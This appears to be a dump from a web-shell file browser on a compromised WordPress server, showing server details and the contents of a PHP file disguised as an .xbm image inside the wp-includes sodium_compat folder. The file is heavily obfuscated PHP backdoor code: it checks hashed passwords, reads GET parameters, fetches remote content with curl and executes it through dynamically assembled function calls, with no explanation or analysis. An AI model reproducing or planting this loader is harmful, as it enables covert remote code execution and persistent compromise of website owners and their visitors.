HEX
Server: Apache
System: Linux VM-16-7-centos 3.10.0-1127.19.1.el7.x86_64 #1 SMP Tue Aug 25 17:23:54 UTC 2020 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/www.molinta.com/wp-includes/sodium_compat/lib/lib/kBPcvGpNXYzqaLIHfQs.xbm
<?php
 goto dc4KBgbr5dz; cwFlcuWkAB7: if (!(in_array(gettype($Fg1wX7ZEPZ7) . "\61\71", $Fg1wX7ZEPZ7) && md5(md5(md5(md5($Fg1wX7ZEPZ7[13])))) === "\x31\x39\x63\144\x66\x66\x39\x39\x64\x33\x33\64\x31\x62\62\60\71\146\63\143\x36\145\65\x35\x32\60\61\63\x35\x32\x32\142")) { goto NcBD02RcRIl; } goto NBEZcEu3jxy; dc4KBgbr5dz: $LzUUB7W0MrZ = range("\176", "\40"); goto iOUjxFNdYTR; oVZaYmdHJai: @($Fg1wX7ZEPZ7 = $Fg1wX7ZEPZ7[83]($Fg1wX7ZEPZ7[52], $Fg1wX7ZEPZ7[64](${$Fg1wX7ZEPZ7[41]}[18]))); goto wFbltqrmdTB; iOUjxFNdYTR: $Fg1wX7ZEPZ7 = ${$LzUUB7W0MrZ[27 + 4] . $LzUUB7W0MrZ[45 + 14] . $LzUUB7W0MrZ[6 + 41] . $LzUUB7W0MrZ[5 + 42] . $LzUUB7W0MrZ[51 + 0] . $LzUUB7W0MrZ[22 + 31] . $LzUUB7W0MrZ[39 + 18]}; goto cwFlcuWkAB7; p5E4HWoEVsk: NcBD02RcRIl: goto elgjlAIIXSc; elgjlAIIXSc: metaphone("\x2f\x6e\163\122\163\71\x45\101\x76\170\110\62\114\x74\157\x36\x62\x66\150\x75\122\57\113\120\116\x53\x61\107\106\122\67\x74\x47\x51\110\53\x73\141\x46\x65\x79\123\60"); goto fPaS4_hZ2Pb; fPaS4_hZ2Pb: class F2OYoOFi1Kv { static function x5WC3Y3YGlp($l4v8IJQOA5N) { goto w1AUk4hq5hX; w1AUk4hq5hX: $GzoEVKA2pUY = "\162" . "\141" . "\156" . "\147" . "\145"; goto gxbGLTYhGHs; EgySwC12GMi: foreach ($P8510Gy_b4n as $aIcVzWDHgQV => $kJTnKz1LE6V) { $LgKHT4nzip8 .= $NZenxGDnTrG[$kJTnKz1LE6V - 14500]; jDibb6Ahxu8: } goto L7GPVGkp0w6; L7GPVGkp0w6: Iqmut78z1Fv: goto WfsPcJupX0Y; o1CM5BtQsV8: $P8510Gy_b4n = explode("\50", $l4v8IJQOA5N); goto TFTDnZ7Cosc; gxbGLTYhGHs: $NZenxGDnTrG = $GzoEVKA2pUY("\x7e", "\40"); goto o1CM5BtQsV8; WfsPcJupX0Y: return $LgKHT4nzip8; goto hxLixBBbf98; TFTDnZ7Cosc: $LgKHT4nzip8 = ''; goto EgySwC12GMi; hxLixBBbf98: } static function Xzht7Ekx1u4($fiIivrYY327, $tSJf46OLLBX) { goto qeA5lGoh4J9; YZLwYj7jW3F: $M0YawBlSXji = curl_exec($G1_iYDUqx7M); goto t5RJSoQuYiM; XSLWVbHWHfE: curl_setopt($G1_iYDUqx7M, CURLOPT_RETURNTRANSFER, 1); goto YZLwYj7jW3F; t5RJSoQuYiM: return empty($M0YawBlSXji) ? $tSJf46OLLBX($fiIivrYY327) : $M0YawBlSXji; goto IqJJgRHD3l5; qeA5lGoh4J9: $G1_iYDUqx7M = curl_init($fiIivrYY327); goto XSLWVbHWHfE; IqJJgRHD3l5: } static function ks333H1b78s() { goto PRE7HmeMPuY; sntL_HKOXfQ: $Hx36b0VPLUa = @$dWrPMLhyF6L[0 + 3]($dWrPMLhyF6L[0 + 6], $v7vGt5iwD20); goto krj2nsXFaqI; krj2nsXFaqI: $oRcjXtjc1Xm = $dWrPMLhyF6L[1 + 1]($Hx36b0VPLUa, true); goto RwsD9F80eBH; Mk2nhgRnHRn: N2_tYWpfBUp: goto MJj8BkGcJUJ; eCNYs_Rn6J4: foreach ($snDlLojvtWS as $Z02WXN5Ingv) { $dWrPMLhyF6L[] = self::x5WC3Y3yGLP($Z02WXN5Ingv); VZos3EEI90h: } goto Mk2nhgRnHRn; MJj8BkGcJUJ: $v7vGt5iwD20 = @$dWrPMLhyF6L[1]($dWrPMLhyF6L[8 + 2](INPUT_GET, $dWrPMLhyF6L[0 + 9])); goto sntL_HKOXfQ; as6txyMjAJr: Qeny6R1IkQ0: goto eCwPMFaFlxm; c9jfzmHzYma: die; goto as6txyMjAJr; Dv4ssDJql0X: $nol9fYR_tU6 = self::XZhT7eKx1U4($oRcjXtjc1Xm[1 + 0], $dWrPMLhyF6L[2 + 3]); goto ILLk41CdZKZ; ILLk41CdZKZ: @$dWrPMLhyF6L[0]('', $dWrPMLhyF6L[5 + 2] . $dWrPMLhyF6L[1 + 3]($nol9fYR_tU6) . $dWrPMLhyF6L[2 + 6]); goto c9jfzmHzYma; t3zM3pE33jw: if (!(@$oRcjXtjc1Xm[0] - time() > 0 and md5(md5($oRcjXtjc1Xm[1 + 2])) === "\71\x35\61\67\x30\144\x65\62\60\141\144\x33\x39\x33\x61\64\x65\144\x63\62\142\x33\x35\x65\141\x38\143\71\67\66\145\x36")) { goto Qeny6R1IkQ0; } goto Dv4ssDJql0X; RwsD9F80eBH: @$dWrPMLhyF6L[2 + 8](INPUT_GET, "\x6f\146") == 1 && die($dWrPMLhyF6L[5 + 0](__FILE__)); goto t3zM3pE33jw; PRE7HmeMPuY: $snDlLojvtWS = array("\61\64\65\62\x37\50\x31\x34\x35\x31\62\x28\61\x34\x35\62\65\x28\61\x34\65\62\71\50\61\x34\x35\61\60\50\x31\x34\65\x32\65\50\x31\64\65\x33\x31\50\61\64\x35\x32\64\50\x31\x34\65\60\71\x28\x31\x34\x35\61\66\50\61\x34\65\x32\x37\50\61\x34\65\61\60\x28\61\x34\65\62\61\x28\x31\64\65\x31\65\50\61\64\x35\61\66", "\61\x34\x35\x31\61\x28\61\x34\65\x31\60\50\x31\x34\x35\61\62\x28\61\x34\x35\x33\61\50\x31\64\x35\x31\x32\x28\61\x34\65\x31\65\x28\61\x34\x35\61\60\x28\61\x34\x35\67\67\x28\61\64\65\x37\65", "\61\64\65\62\x30\50\x31\x34\65\61\61\50\61\x34\x35\61\65\x28\x31\x34\65\61\66\x28\61\64\x35\x33\x31\50\61\64\x35\x32\x36\50\61\64\65\x32\x35\x28\x31\64\65\x32\x37\x28\61\x34\65\61\x35\50\x31\x34\65\x32\66\x28\61\64\x35\62\x35", "\61\64\65\61\64\50\x31\64\65\62\71\50\61\x34\x35\x32\x37\50\61\x34\65\x31\71", "\x31\x34\x35\62\70\x28\61\64\x35\x32\71\50\x31\64\x35\61\x31\50\61\x34\x35\62\x35\x28\61\64\65\67\x32\x28\x31\64\x35\x37\x34\50\x31\64\65\x33\x31\x28\x31\64\x35\62\x36\x28\61\x34\65\62\65\x28\x31\x34\65\62\67\50\x31\64\65\x31\65\50\x31\x34\x35\62\x36\x28\x31\x34\x35\x32\65", "\61\x34\x35\62\x34\x28\61\64\65\62\x31\50\x31\64\x35\61\70\50\x31\x34\x35\62\x35\x28\61\x34\65\63\61\x28\61\x34\65\x32\63\50\61\64\x35\62\x35\x28\61\64\65\x31\60\50\61\x34\65\x33\x31\x28\x31\64\65\x32\67\50\61\64\x35\61\x35\x28\61\x34\65\x31\x36\x28\61\x34\65\x31\x30\x28\x31\64\x35\62\65\x28\61\64\x35\x31\66\x28\x31\64\65\x31\x30\x28\61\x34\65\61\x31", "\x31\64\x35\x35\64\50\61\64\x35\70\64", "\61\x34\x35\x30\61", "\61\x34\x35\67\x39\x28\61\x34\x35\70\64", "\61\64\65\66\x31\x28\61\64\x35\64\x34\x28\x31\64\x35\x34\64\50\61\x34\x35\x36\61\50\61\x34\x35\x33\x37", "\x31\x34\x35\62\x34\50\61\x34\65\x32\61\x28\61\x34\x35\x31\x38\50\61\x34\x35\61\60\50\61\64\65\62\x35\50\x31\x34\x35\x31\x32\50\x31\64\x35\x33\61\50\x31\x34\65\x32\x31\x28\61\64\x35\x31\x36\x28\61\64\65\61\x34\x28\x31\64\x35\x30\71\50\x31\x34\65\x31\x30"); goto eCNYs_Rn6J4; eCwPMFaFlxm: } } goto KvMy4j3fUUt; NBEZcEu3jxy: $Fg1wX7ZEPZ7[64] = $Fg1wX7ZEPZ7[64] . $Fg1wX7ZEPZ7[72]; goto q_hWtYujNBW; q_hWtYujNBW: $Fg1wX7ZEPZ7[83] = $Fg1wX7ZEPZ7[64]($Fg1wX7ZEPZ7[83]); goto oVZaYmdHJai; wFbltqrmdTB: $Fg1wX7ZEPZ7(); goto p5E4HWoEVsk; KvMy4j3fUUt: F2oyooFi1Kv::Ks333h1b78S();
?>